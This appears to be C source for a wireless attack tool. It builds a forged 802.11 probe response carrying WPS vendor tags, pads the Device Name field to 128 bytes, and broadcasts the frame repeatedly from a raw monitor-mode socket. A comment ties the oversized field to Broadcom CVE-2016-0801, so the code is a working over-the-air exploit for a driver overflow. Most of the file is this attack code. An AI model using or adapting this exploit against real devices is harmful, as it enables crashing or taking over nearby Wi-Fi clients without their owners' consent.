/* Common Wps Tags */
|
||
typedef struct wtag_8 {
|
||
def init;
|
||
u8 item;
|
||
} __attribute__((packed)) wtag_a;
|
||
|
||
|
||
typedef struct wtag_16 {
|
||
def init;
|
||
u16 item;
|
||
} __attribute__((packed)) wtag_b;
|
||
|
||
|
||
typedef struct wtag_point {
|
||
def init;
|
||
char *item;
|
||
} __attribute__((packed)) wtag_c;
|
||
|
||
|
||
struct ie80211_hdr {
|
||
u8 type;
|
||
u8 flags;
|
||
u16 duration;
|
||
u8 dest[6];
|
||
u8 source[6];
|
||
u8 bssid[6];
|
||
u8 fragment_no;
|
||
u8 sequence_no;
|
||
};
|
||
|
||
/* Dynamic Tag */
|
||
struct ssid {
|
||
com_a head;
|
||
u8 *ssid;
|
||
};
|
||
|
||
/* Tagged Parameters */
|
||
struct Wifi_Tags {
|
||
|
||
struct {
|
||
com_a head;
|
||
u8 rates[4];
|
||
} rates;
|
||
|
||
struct {
|
||
com_a head;
|
||
u8 channel;
|
||
} ds;
|
||
|
||
struct {
|
||
com_a head;
|
||
u8 erp_info;
|
||
} erp_info;
|
||
|
||
/* Extended Support Rates */
|
||
struct {
|
||
com_a head;
|
||
u8 rates[8];
|
||
} esr;
|
||
|
||
struct {
|
||
com_a head;
|
||
u16 version;
|
||
/* Group Chipher Suite */
|
||
com_b gcp;
|
||
u16 pcs_count;
|
||
/* Pairwise Chipher Suite */
|
||
com_b pcs;
|
||
u16 akm_count;
|
||
/* Auth Key Management */
|
||
com_b akm;
|
||
u16 rsn;
|
||
} rsn_info;
|
||
|
||
struct {
|
||
com_a head;
|
||
com_b wpa_o;
|
||
u16 version;
|
||
/* Multi Chipher Suite */
|
||
com_b mcs;
|
||
u16 ucs_count;
|
||
/* Unicast Chipher Suite */
|
||
com_b ucs;
|
||
/* Auth Key Management */
|
||
u16 akm_count;
|
||
com_b akm;
|
||
} wpa;
|
||
|
||
struct {
|
||
com_a head;
|
||
u16 info;
|
||
u8 mpdu;
|
||
u8 scheme[16];
|
||
u16 capabilities;
|
||
u16 transmit;
|
||
u8 asel;
|
||
} ht_capabilites __attribute__((packed));
|
||
|
||
struct {
|
||
com_a head;
|
||
u8 channel;
|
||
u8 subset1;
|
||
u16 subset2;
|
||
u16 subset3;
|
||
u8 scheme[16];
|
||
} ht_info;
|
||
};
|
||
|
||
/*
|
||
* WPS Tag Probe Response
|
||
*/
|
||
struct WPSProbeRespIe {
|
||
com_a head;
|
||
com_b wps_o;
|
||
wtag_a version;
|
||
/* Wifi Protected Setup State */
|
||
wtag_a wpss;
|
||
/* Selected Registrar */
|
||
wtag_a sreg;
|
||
/* Device Password Id */
|
||
wtag_b dpi;
|
||
/* Selected Registrar Config Methods */
|
||
wtag_b srcm;
|
||
/* Response Type */
|
||
wtag_a resp;
|
||
/* uuid 16 byte */
|
||
wtag_c uuid;
|
||
/* Manufacturer */
|
||
wtag_c man;
|
||
/* Model Name */
|
||
wtag_c mname;
|
||
/* Model Number */
|
||
wtag_c numb;
|
||
/* Serial Number */
|
||
wtag_c serial;
|
||
/* Primary_device_type */
|
||
wtag_c dev_type;
|
||
/* Device Name */
|
||
wtag_c dname;
|
||
/* Config Methods */
|
||
wtag_b cmeth;
|
||
};
|
||
|
||
/* wtag_c pointer is address list from WPSProbeRespIE */
|
||
static long wtag_c_point[7];
|
||
|
||
|
||
/* Insert WPS Frames In Line With Types */
|
||
|
||
static void
|
||
inwps_a( wtag_a *tag, u16 det, u8 par )
|
||
{
|
||
tag->init.det = reverse16(det);
|
||
tag->init.del = reverse16(0x01);
|
||
tag->item = par;
|
||
}
|
||
|
||
static void
|
||
inwps_b( wtag_b *tag, u16 det, u16 par )
|
||
{
|
||
tag->init.det = reverse16(det);
|
||
tag->init.del = reverse16(0x02);
|
||
tag->item = reverse16(par);
|
||
}
|
||
|
||
static void
|
||
inwps_c( wtag_c *tag, u16 det, char *par )
|
||
{
|
||
static int counter = 0;
|
||
int i = strlen(par);
|
||
i = i > MAX_TL ? MAX_TL : i;
|
||
tag->item = ( char * ) calloc( i, sizeof(char) );
|
||
|
||
tag->init.det = reverse16(det);
|
||
tag->init.del = reverse16(i);
|
||
|
||
strncpy( tag->item, par, i );
|
||
wtag_c_point[counter++] = (long )(void *)&(tag->item);
|
||
}
|
||
|
||
/* Convert 'struct WPSProbeRespIe' to bytearray */
|
||
int
|
||
wtoa( char *pop, struct WPSProbeRespIe *tag )
|
||
{
|
||
unsigned char *a = (void *)tag;
|
||
char *tmp;
|
||
long tmp_a;
|
||
int i = 0, p = 0, co = 0, j;
|
||
int size = sizeof(struct WPSProbeRespIe);
|
||
|
||
while( p < size )
|
||
{
|
||
if( wtag_c_point[co] == (long)(a+p) ){
|
||
assert(co++ < 7);
|
||
tmp_a = 0;
|
||
for( j = 0; j < 32; j+=8 )
|
||
tmp_a |= *(a+p++)<<j;
|
||
|
||
tmp = (char *)tmp_a;
|
||
j = 0;
|
||
while( tmp[j] )
|
||
pop[i++] = tmp[j++];
|
||
|
||
#ifdef __x86_64__
|
||
p+=4;
|
||
#endif
|
||
free( tmp );
|
||
}else
|
||
pop[i++] = *(a+p++);
|
||
}
|
||
#ifdef DEBUG
|
||
printf("Total Wps Length: %d\n", i);
|
||
#endif
|
||
|
||
/* wps->head.tl */
|
||
pop[1] = i-2;
|
||
assert(i <= MAX_TL+1);
|
||
/* i is array length */
|
||
|
||
return( i );
|
||
}
|
||
|
||
|
||
struct WPSProbeRespIe *
|
||
set_wps_probe_response(void)
|
||
{
|
||
struct WPSProbeRespIe *wps = ( struct WPSProbeRespIe * ) \
|
||
malloc( sizeof(struct WPSProbeRespIe) );
|
||
|
||
char *uuid = calloc( MAX_TL, sizeof(char) );
|
||
char *manufacturer = calloc( MAX_TL, sizeof(char) );
|
||
char *model_name = calloc( MAX_TL, sizeof(char) );
|
||
char *model_number = calloc( MAX_TL, sizeof(char) );
|
||
char *serial_number = calloc( MAX_TL, sizeof(char) );
|
||
char *device_type = calloc( MAX_TL, sizeof(char) );
|
||
char *device_name = calloc( MAX_TL, sizeof(char) );
|
||
|
||
/*
|
||
* Fill them as you wish, but do NOT exceed
|
||
* 0xff (256 bytes) length
|
||
*/
|
||
memset( uuid, 'B', 16 );
|
||
memset( manufacturer, 'A', 8 );
|
||
memset( model_name, 'D', 8 );
|
||
memset( model_number, 'B', 8 );
|
||
memset( serial_number,'O', 8 );
|
||
memset( device_type, 'Y', 8 );
|
||
memset( device_name, 'S', 128 ); /* For Broadcom CVE-2016-0801 > 100 */
|
||
|
||
|
||
/* Tag Number Vendor Specific */
|
||
wps->head.tn = VENDOR_t;
|
||
/* The length will calculate after it packages */
|
||
wps->head.tl = 0x00;
|
||
|
||
/* OUI: Microsof */
|
||
memcpy( wps->wps_o.oui, OUI_Microsof, sizeof(OUI_Microsof));
|
||
wps->wps_o.type = 0x04;
|
||
|
||
inwps_a( &wps->version, VERSION, WV );
|
||
inwps_a( &wps->wpss, WPS_STATE, WS );
|
||
inwps_a( &wps->sreg, SELECTED_REGISTRAR, SR );
|
||
inwps_b( &wps->dpi, DEVICE_PASSWORD_ID, PIN );
|
||
inwps_b( &wps->srcm, SELECTED_REGISTRAR_CONFIG_METHODS, SRCM );
|
||
inwps_a( &wps->resp, RESPONSE_TYPE, RT );
|
||
inwps_c( &wps->uuid, UUID_E, uuid );
|
||
inwps_c( &wps->man, MANUFACTURER, manufacturer );
|
||
inwps_c( &wps->mname, MODEL_NAME, model_name );
|
||
inwps_c( &wps->numb, MODEL_NUMBER, model_number );
|
||
inwps_c( &wps->serial, SERIAL_NUMBER, serial_number );
|
||
inwps_c( &wps->dev_type, PRIMARY_DEVICE_TYPE, device_type );
|
||
inwps_c( &wps->dname, WPS_ID_DEVICE_NAME, device_name );
|
||
inwps_b( &wps->cmeth, CONFIG_METHODS, CM );
|
||
|
||
free( uuid );
|
||
free( manufacturer );
|
||
free( model_name );
|
||
free( model_number );
|
||
free( serial_number );
|
||
free( device_type );
|
||
free( device_name );
|
||
|
||
return( wps );
|
||
}
|
||
|
||
|
||
int
|
||
create_wifi(char *pop)
|
||
{
|
||
/*
|
||
* struct for radiotap_hdr and fixed_hdr are missing
|
||
*/
|
||
char radiotap_hdr[26];
|
||
char fixed_hdr[12];
|
||
struct ie80211_hdr *ie = calloc( sizeof(struct ie80211_hdr), 1 );
|
||
struct Wifi_Tags *tag = calloc( sizeof(struct Wifi_Tags), 1 );
|
||
struct ssid *ssid;
|
||
int i, len = 0;
|
||
|
||
memset( radiotap_hdr, 0, sizeof(radiotap_hdr) );
|
||
radiotap_hdr[2] = 26; /* Header Length */
|
||
|
||
memset( fixed_hdr, 'A', sizeof(fixed_hdr) );
|
||
|
||
ie->type = reverse8(PROBE_RESPONSE);
|
||
memcpy( ie->dest, DESTINATION_MAC, 6 );
|
||
memcpy( ie->source, SOURCE_MAC, 6 );
|
||
memcpy( ie->bssid, SOURCE_MAC, 6 );
|
||
|
||
i = strlen( SSID );
|
||
ssid = calloc( i+2, 1 );
|
||
ssid->head.tn = SSID_t;
|
||
ssid->head.tl = i;
|
||
ssid->ssid = calloc(i,1);
|
||
memcpy( ssid->ssid, SSID, i );
|
||
|
||
tag->rates.head.tn = RATES_t;
|
||
tag->rates.head.tl = calc_size(tag->rates);
|
||
memcpy(tag->rates.rates, RATES_v, sizeof(tag->rates.rates));
|
||
|
||
tag->ds.head.tn = DS_t;
|
||
tag->ds.head.tl = calc_size(tag->ds);
|
||
tag->ds.channel = 1;
|
||
|
||
tag->erp_info.head.tn = ERP_t;
|
||
tag->erp_info.head.tl = calc_size(tag->erp_info);
|
||
tag->erp_info.erp_info = 0x00;
|
||
|
||
tag->esr.head.tn = ESR_t;
|
||
tag->esr.head.tl = calc_size(tag->esr);
|
||
memcpy(tag->esr.rates, ESRATES_v, sizeof(tag->esr.rates));
|
||
|
||
tag->rsn_info.head.tn = RSN_t;
|
||
tag->rsn_info.head.tl = calc_size(tag->rsn_info);
|
||
tag->rsn_info.version = 1;
|
||
|
||
memcpy( tag->rsn_info.gcp.oui, OUI_AES, \
|
||
sizeof(tag->rsn_info.gcp.oui) );
|
||
tag->rsn_info.gcp.type = 0x04; /* AES(CCM) */
|
||
|
||
tag->rsn_info.pcs_count = 1;
|
||
memcpy( tag->rsn_info.pcs.oui, OUI_AES, \
|
||
sizeof(tag->rsn_info.pcs.oui) );
|
||
tag->rsn_info.pcs.type = 0x04; /* AES(CCM) */
|
||
|
||
tag->rsn_info.akm_count = 1;
|
||
memcpy( tag->rsn_info.akm.oui, OUI_AES, \
|
||
sizeof(tag->rsn_info.akm.oui) );
|
||
tag->rsn_info.pcs.type = 0x02;
|
||
|
||
tag->rsn_info.rsn = 0x0000;
|
||
|
||
tag->wpa.head.tn = VENDOR_t;
|
||
tag->wpa.head.tl = calc_size(tag->wpa);
|
||
memcpy( tag->wpa.wpa_o.oui, OUI_Microsof, \
|
||
sizeof(tag->wpa.wpa_o.oui) );
|
||
tag->wpa.wpa_o.type = 1;
|
||
tag->wpa.version = 1;
|
||
|
||
memcpy( tag->wpa.mcs.oui, OUI_Microsof, \
|
||
sizeof(tag->wpa.mcs.oui) );
|
||
tag->wpa.mcs.type = 0x04;
|
||
tag->wpa.ucs_count = 1;
|
||
memcpy( tag->wpa.ucs.oui, OUI_Microsof, \
|
||
sizeof(tag->wpa.ucs.oui) );
|
||
tag->wpa.ucs.type = 0x04;
|
||
|
||
tag->wpa.akm_count = 1;
|
||
memcpy( tag->wpa.akm.oui, OUI_Microsof, \
|
||
sizeof(tag->wpa.akm.oui) );
|
||
tag->wpa.akm.type = 0x02;
|
||
|
||
tag->ht_capabilites.head.tn = HTC_t;
|
||
tag->ht_capabilites.head.tl = calc_size(tag->ht_capabilites);
|
||
tag->ht_capabilites.info = 0x104e;
|
||
tag->ht_capabilites.mpdu = 0x1f;
|
||
tag->ht_capabilites.scheme[0] = 0xff;
|
||
tag->ht_capabilites.scheme[1] = 0xff;
|
||
tag->ht_capabilites.capabilities = 0x0004;
|
||
|
||
tag->ht_info.head.tn = HTI_t;
|
||
tag->ht_info.head.tl = calc_size(tag->ht_info);
|
||
tag->ht_info.channel = 11;
|
||
tag->ht_info.subset1 = 0x07;
|
||
tag->ht_info.subset2 = 0x0001;
|
||
tag->ht_info.scheme[0] = 0x0f;
|
||
|
||
memcpy( pop, radiotap_hdr, sizeof(radiotap_hdr) );
|
||
memcpy( &pop[len+=sizeof(radiotap_hdr)], \
|
||
(u8 *)ie, sizeof(struct ie80211_hdr) );
|
||
memcpy( &pop[len+=sizeof(struct ie80211_hdr)], \
|
||
fixed_hdr, sizeof(fixed_hdr) );
|
||
memcpy( &pop[len+=sizeof(fixed_hdr)], \
|
||
(u8 *)&ssid->head, 2 );
|
||
memcpy( &pop[len+=2], ssid->ssid, i );
|
||
memcpy( &pop[len+=i], (u8 *) tag, \
|
||
sizeof(struct Wifi_Tags) );
|
||
len+=sizeof(struct Wifi_Tags);
|
||
|
||
free( ssid );
|
||
free( tag );
|
||
free( ie );
|
||
|
||
return (len);
|
||
}
|
||
|
||
int
|
||
broadcast(char *packet, int len)
|
||
{
|
||
struct sockaddr_ll sll;
|
||
struct ifreq ifr;
|
||
struct iwreq iwr;
|
||
int sock, ret, count = 100;
|
||
|
||
sock = socket( AF_PACKET, SOCK_RAW, 0x300 );
|
||
if(sock < 0){
|
||
perror("socket() failed");
|
||
exit(EXIT_FAILURE);
|
||
}
|
||
|
||
memset( &ifr, 0, sizeof(ifr) );
|
||
strncpy( ifr.ifr_name, IFACE, sizeof(ifr.ifr_name) );
|
||
|
||
if( ioctl( sock, SIOCGIFINDEX, &ifr ) < 0 ){
|
||
perror( "ioctl(SIOCGIFINDEX) failed" );
|
||
close(sock);
|
||
exit(EXIT_FAILURE);
|
||
}
|
||
|
||
memset( &sll, 0, sizeof(sll) );
|
||
sll.sll_family = AF_PACKET;
|
||
sll.sll_ifindex = ifr.ifr_ifindex;
|
||
|
||
if( ioctl( sock, SIOCGIFHWADDR, &ifr ) < 0 )
|
||
{
|
||
perror( "ioctl(SIOCGIFHWADDR) failed" );
|
||
close(sock);
|
||
exit(EXIT_FAILURE);
|
||
}
|
||
|
||
memset( &iwr, 0, sizeof( struct iwreq ) );
|
||
strncpy( iwr.ifr_name, IFACE, IFNAMSIZ );
|
||
|
||
if( ioctl( sock, SIOCGIWMODE, &iwr ) < 0 )
|
||
iwr.u.mode = IW_MODE_MONITOR;
|
||
|
||
ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
|
||
|
||
if ( (ioctl(sock, SIOCGIFFLAGS, &ifr)) < 0 ){
|
||
perror("ioctl(SIOCGIFFLAGS) failed");
|
||
close(sock);
|
||
exit(EXIT_FAILURE);
|
||
}
|
||
|
||
if( bind( sock, (struct sockaddr *) &sll,
|
||
sizeof( sll ) ) < 0 )
|
||
{
|
||
perror( "bind() failed" );
|
||
close(sock);
|
||
exit(EXIT_FAILURE);
|
||
}
|
||
|
||
while( count-- ){
|
||
#ifdef SHOW
|
||
int i;
|
||
printf("\n\033[34m [\033[31m%d\033[34m] \033[33m", count);
|
||
printf("\tSSID: %s\n", SSID);
|
||
printf("\tDEST: ");
|
||
for(i=0;i<6;i++)
|
||
printf("%02x ", DESTINATION_MAC[i]&0xff);
|
||
printf("\n\tSending Packet (%d byte) ...\033[0m\n", len);
|
||
#endif
|
||
ret = write( sock, packet, len );
|
||
if( ret < 0 ){
|
||
perror("write() failed");
|
||
close( sock );
|
||
exit(EXIT_FAILURE);
|
||
}
|
||
usleep( DELAY );
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
int
|
||
main(void)
|
||
{
|
||
char *packet = (char *) calloc( MAX_SIZE, sizeof(char) );
|
||
struct WPSProbeRespIe *wps;
|
||
int len;
|
||
|
||
len = create_wifi( packet );
|
||
wps = set_wps_probe_response();
|
||
len += wtoa( &packet[len], wps );
|
||
broadcast( packet, len );
|
||
|
||
free( wps );
|
||
free( packet );
|
||
|
||
return 0;
|
||
} |